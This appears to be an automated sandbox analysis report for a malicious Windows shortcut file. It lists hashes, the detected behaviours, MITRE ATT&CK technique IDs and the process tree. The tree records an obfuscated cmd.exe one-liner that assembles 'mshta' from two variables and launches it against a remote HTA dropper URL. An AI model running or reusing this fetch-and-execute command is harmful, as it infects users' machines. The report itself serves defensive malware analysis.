4091fe730d7b3c495eb50d6a0654747e7bc5aef4f1b741ed8b7cbbfe261817da

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:08

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General

Target
DOC-KE1K0G.lnk
Size 1KB
Sample260803-qdg3asygla
SHA256 4091fe730d7b3c495eb50d6a0654747e7bc5aef4f1b741ed8b7cbbfe261817da
MD5 b2bbdd1ba995e9c28504e29de7772d5b
SHA1 18374d4371a18e6a4166145635ccce598cce4f3c
SHA512 a3cfa10ecad53cab3339bfc8faa0756d756946a4681750d14c920730ae8a71cad569ebe72d527adeb10e923ef0e362eeb3249aaf2298820f0bfd6931b8150dfb
TLSH
T18C317B503FF90654F3F79E7784BB5B1085BFB8569E20C61D0141464C1472A14E27BFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2932	cmd.exe
4460	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2932 wrote to memory of 4460	2932	cmd.exe	91
PID 4460 wrote to memory of 1004	4460	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KE1K0G.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2932
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set sFt=msh&&set sNpa=ta&&start "" !sFt!!sNpa! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:1004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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